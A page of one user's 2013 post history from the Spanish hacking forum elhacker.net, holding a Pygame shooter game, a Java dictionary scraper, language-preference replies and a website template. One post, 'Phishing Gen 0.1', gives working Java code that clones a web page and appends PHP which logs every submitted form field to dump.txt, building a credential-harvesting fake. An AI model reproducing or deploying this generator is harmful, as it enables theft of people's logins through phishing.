elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


  Mostrar Mensajes
Páginas: 1 ... 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 [25] 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 ... 55
241  Programación / Scripting / Mi primer juego en Pygame : UrbanWar en: 21 Febrero 2013, 01:15 am
Bue , recien acabo de terminar mi primer juego en Pygame , para hacerlo me base en el famoso juego Rock Blaster hecho por Jeff Walters.
El juego trata de sobrevivir 1 minuto en un barrio peligroso , comienzan a llover ladrones armados por todos lados y el protagonista tiene una M4 con municion infinita.
A grandes rasgos el juego esta basado en la vida real solo que en este caso no todos tenemos una M4 xDDD.

Una imagen del juego :



EL codigo :

Código
  1. #!usr/bin/python
  2. #UrbanWar 0.1
  3. #Coded By Doddy H in the year 2013
  4. #My first game in Pygame
  5. #Based in the game Rock Blaster made by Jeff Walters
  6. #Thanks to Jeff Walters
  7.  
  8. import pygame
  9. import sys,os,time
  10. from pygame.locals import *
  11. import random
  12.  
  13. tiempoportiro = 1
  14.  
  15. class theboss(pygame.sprite.Sprite):
  16.  
  17. def __init__(self,esto):
  18.  pygame.sprite.Sprite.__init__(self,self.mas)
  19.  self.image = pygame.image.load("archivos/ladron.gif")
  20.  self.rect = self.image.get_rect( center = (random.randint(0,860),0))
  21.  self.cada = esto
  22.  
  23. def update(self):
  24.  self.rect.move_ip(self.cada,3)
  25.  
  26. class protagonista(pygame.sprite.Sprite):
  27.  
  28. def __init__(self):
  29.  pygame.sprite.Sprite.__init__(self,self.mas)
  30.  self.image = pygame.image.load("archivos/protagonista.gif")
  31.  self.rect = self.image.get_rect(center = (860,640))
  32.  
  33. def update(self):
  34.  global tiempoportiro
  35.  if pygame.key.get_pressed()[K_LEFT]:
  36.   self.rect.move_ip(-5,0)
  37.  if pygame.key.get_pressed()[K_RIGHT]:
  38.   self.rect.move_ip(5,0)
  39.  if pygame.key.get_pressed()[K_SPACE] and tiempoportiro <= 0:
  40.   pygame.mixer.Sound("archivos/disparo.wav").play()
  41.   tiempoportiro = 25
  42.   cartucho(self.rect.midtop)
  43.  tiempoportiro -= 1
  44.  self.rect.clamp_ip(Rect(0,0,860,640))
  45.  
  46. class chau(pygame.sprite.Sprite):
  47.  
  48. def __init__(self, actor):
  49.  pygame.sprite.Sprite.__init__(self,self.mas)
  50.  self.image = pygame.image.load("archivos/explo.gif")
  51.  self.rect = self.image.get_rect(center=actor.rect.center)
  52.  self.tie = 10
  53.  
  54. def update(self):
  55.  self.tie = self.tie - 2
  56.  if self.tie <= 0:
  57.   self.kill()
  58.  
  59. class cartucho(pygame.sprite.Sprite):
  60.  
  61. def __init__(self,toyaca):
  62.  
  63.  pygame.sprite.Sprite.__init__(self,self.mas)
  64.  self.image = pygame.image.load("archivos/bala.gif")
  65.  self.rect = self.image.get_rect(midbottom = toyaca)
  66.  
  67. def update(self):
  68.  self.rect.move_ip(-30,-50)
  69.  if not Rect(0,0,860,640).contains(self.rect):
  70.   self.kill()
  71.  
  72. pygame.init()
  73.  
  74. mil = 0
  75. theboss_cadacuanto = 30
  76.  
  77. cro = pygame.time.Clock()
  78.  
  79. pantalla = pygame.display.set_mode((860,640),0,32)
  80. #pantalla = pygame.display.set_mode((860,640),FULLSCREEN) # FULLSCREEN
  81.  
  82. fondo = pygame.image.load("archivos/callejon.jpg")
  83. pygame.display.set_caption("UrbanWar 0.1")
  84. pygame.mouse.set_visible(False)
  85.  
  86. protagonistamas = pygame.sprite.Group()
  87.  
  88. protagonista.mas = protagonistamas
  89. protagonista = protagonista()
  90.  
  91. thebossmas = pygame.sprite.Group()
  92. theboss.mas = thebossmas
  93.  
  94. cartuchomas = pygame.sprite.Group()
  95. cartucho.mas = cartuchomas
  96.  
  97. chaumas = pygame.sprite.Group()
  98. chau.mas = chaumas
  99.  
  100. mostrar = pygame.font.Font("archivos/FreeSansBold.ttf",36)
  101.  
  102. pygame.mixer.Sound("archivos/menu.wav").play()
  103. men = pygame.image.load("archivos/menu.jpg")
  104. pantalla.blit(men,(0,0))
  105. pygame.display.update()
  106. time.sleep(9)
  107.  
  108. while 1:
  109.  
  110. mil += cro.tick()
  111. casi = mil/1000
  112. casi = 60 - casi
  113.  
  114. if casi == 0:
  115.  win = pygame.image.load("archivos/mina.jpg")
  116.  pantalla.blit(win,(0,0))
  117.  pygame.display.update()
  118.  time.sleep(10)
  119.  sys.exit(1)
  120.  
  121. tiempoquefalta = mostrar.render("Remaining Time : "+str(casi),True,(255,0,0))            
  122. pantalla.blit(tiempoquefalta,(500,20))
  123. pygame.display.update()
  124.  
  125. pantalla.blit(fondo,(0,0))
  126.  
  127. protagonistamas.draw(pantalla)
  128. protagonistamas.update()
  129. thebossmas.draw(pantalla)
  130. thebossmas.update()
  131. cartuchomas.draw(pantalla)
  132. cartuchomas.update()
  133. chaumas.draw(pantalla)
  134. chaumas.update()
  135.  
  136. if theboss_cadacuanto:
  137.  theboss_cadacuanto = theboss_cadacuanto - 1
  138. else:
  139.  asteroid = theboss(random.randint(-6,5))
  140.  theboss_cadacuanto = 20
  141.  
  142. for asteroid in pygame.sprite.groupcollide(cartuchomas,thebossmas,1,1):
  143.  pygame.mixer.Sound("archivos/muerte.wav").play()
  144.  chau(asteroid)
  145.  
  146. for asteroid in pygame.sprite.spritecollide(protagonista,thebossmas,1):
  147.  pygame.mixer.Sound("archivos/muerte.wav").play()
  148.  chau(protagonista)
  149.  protagonista.kill()
  150.  
  151.  over = pygame.image.load("archivos/gameover.jpg")
  152.  pantalla.blit(over,(0,0))
  153.  pygame.display.update()
  154.  time.sleep(10)
  155.  sys.exit(1)
  156.  
  157. for event in pygame.event.get():
  158.  if event.type == QUIT:
  159.   break
  160.  cap = pygame.key.get_pressed();
  161.  if cap[K_ESCAPE]:
  162.   sys.exit(1)
  163.  
  164. pygame.display.update()
  165.  
  166. #The End ?
  167.  

Para bajar el codigo con las imagenes o el juego compilado lo pueden hacer de aca.
242  Programación / Scripting / Re: [?] Ruby, Perl, Python en: 16 Febrero 2013, 16:46 pm
si , otra cosa buena de python es Pygame.
243  Programación / Scripting / Re: [?] Ruby, Perl, Python en: 15 Febrero 2013, 00:17 am
pero si python es super agradecidooo!!!

:D

nunca dije que python no estubiera bueno , es cuestion de preferencias , yo eh hecho traducciones en los tres lenguajes y el que mas me gusto fue Perl  , lo que me gusta de python es que te obliga a identar.
244  Programación / Scripting / Re: [?] Ruby, Perl, Python en: 14 Febrero 2013, 19:14 pm
y un rabo de toro, python

no sabia que te gustaban los rabos  :xD

aunque ruby tambien tiene lo suyo , estaria entre perl y ruby.
245  Programación / Java / [Java] Diccionario Online 0.1 en: 12 Febrero 2013, 18:08 pm
Practicando en este lenguaje hice este simple diccionario online , solo ponen una palabra y el programa les devuelve el significado (si es que lo encuentra xDD)

Código
  1. //Diccionario Online 0.1
  2. //Coded By Doddy H
  3.  
  4. import java.util.Scanner;
  5. import java.net.*;
  6. import java.io.*;
  7.  
  8. import java.util.regex.Matcher;
  9. import java.util.regex.Pattern;
  10.  
  11. public class Main {
  12.  
  13.    public static void main(String[] args) throws Exception {
  14.  
  15.        String code;
  16.  
  17.        String palabra;
  18.  
  19.        Scanner host = new Scanner(System.in);
  20.        System.out.println("\n\n-- == Diccionario Online 0.1 == --\n\n");
  21.        System.out.println("[+] Palabra : ");
  22.        palabra = host.nextLine();
  23.  
  24.        code = toma("http://es.thefreedictionary.com/" + palabra);
  25.  
  26.        Pattern uno = null;
  27.        Matcher dos = null;
  28.  
  29.        uno = Pattern.compile("<div class=runseg><b>1 </b>&nbsp; (.*?)[.:<]");
  30.        dos = uno.matcher(code);
  31.  
  32.        if (dos.find()) {
  33.            System.out.println("\n" + dos.group(1));
  34.        } else {
  35.            System.out.println("\n[-] No se encontro el significado");
  36.        }
  37.  
  38.        System.out.println("\n\n-- == Coded By Doddy H == --\n\n");
  39.  
  40.    }
  41.  
  42.    private static String toma(String urla) throws Exception {
  43.  
  44.        String re;
  45.  
  46.        StringBuffer conte = new StringBuffer(40);
  47.  
  48.        URL url = new URL(urla);
  49.        URLConnection hc = url.openConnection();
  50.        hc.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  51.  
  52.        BufferedReader nave = new BufferedReader(
  53.                new InputStreamReader(hc.getInputStream()));
  54.  
  55.        while ((re = nave.readLine()) != null) {
  56.            conte.append(re);
  57.        }
  58.  
  59.        nave.close();
  60.  
  61.        return conte.toString();
  62.    }
  63. }
  64.  
  65. //The End ?
  66.  
246  Programación / Java / [Java] Phishing Gen 0.1 en: 12 Febrero 2013, 18:07 pm
Tratando de practicar este lenguaje hice este simple generador de fakes.

Código
  1. //Phishing Gen 0.1
  2. //Coded By Doddy H
  3.  
  4. import java.util.Scanner;
  5. import java.net.*;
  6. import java.io.*;
  7.  
  8. public class Main {
  9.  
  10.    public static void main(String[] args) throws Exception {
  11.  
  12.        String code;
  13.        String iny;
  14.        String pagina;
  15.  
  16.        Scanner host = new Scanner(System.in);
  17.        System.out.println("\n\n-- == Phishing Gen 0.1 == --\n\n");
  18.        System.out.println("[+] Pagina : ");
  19.        pagina = host.nextLine();
  20.  
  21.        iny = "<?php $file = fopen('dump.txt','a');foreach($_POST as $uno => $dos) {fwrite($file, $uno.'='.$dos.'\r\n');}foreach($_GET as $tres => $cuatro) {fwrite($file, $tres.'='.$cuatro.'\r\n');}fclose($file); ?>";
  22.  
  23.        code = toma(pagina);
  24.  
  25.        savefile("fake.php", code + iny);
  26.  
  27.        System.out.println("\n[+] Fake Ready");
  28.  
  29.        System.out.println("\n\n-- == Coded By Doddy H == --\n\n");
  30.    }
  31.  
  32.    private static String toma(String urla) throws Exception {
  33.  
  34.        String re;
  35.  
  36.        StringBuffer conte = new StringBuffer(40);
  37.  
  38.        URL url = new URL(urla);
  39.        URLConnection hc = url.openConnection();
  40.        hc.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  41.  
  42.        BufferedReader nave = new BufferedReader(
  43.                new InputStreamReader(hc.getInputStream()));
  44.  
  45.        while ((re = nave.readLine()) != null) {
  46.            conte.append(re);
  47.        }
  48.  
  49.        nave.close();
  50.  
  51.        return conte.toString();
  52.    }
  53.  
  54.    private static void savefile(String nombre, String texto) throws Exception {
  55.  
  56.        FileWriter writer = new FileWriter(nombre, true);
  57.        writer.write(texto + "\r\n");
  58.        writer.close();
  59.  
  60.    }
  61. }
  62.  
  63. //The End ?
  64.  
247  Programación / Scripting / Re: [?] Ruby, Perl, Python en: 8 Febrero 2013, 22:14 pm
Perl.
248  Programación / Desarrollo Web / Re: Mi primer template : GreenKaker en: 5 Febrero 2013, 00:03 am
si , despues de mucho tiempo te van arder los ojos , tengo muchos colores en mente pero siempre se relacionan con el negro.

¿ vos que colores usarias ?
249  Programación / Desarrollo Web / Re: Mi primer template : GreenKaker en: 4 Febrero 2013, 21:04 pm
ok , gracias por las sugerencias.
250  Programación / Desarrollo Web / Mi primer template : GreenKaker en: 4 Febrero 2013, 03:04 am
Este es mi primer template , lo hice porque queria hacer un diseño parecido que vi en internet si quieren verlo lo puede hacer de aca , es bien basico solo hice el index.
Pueden bajar el template desde aca.

Una imagen



Cualquier sugerencia diganla para mejorar.

Páginas: 1 ... 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 [25] 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 ... 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines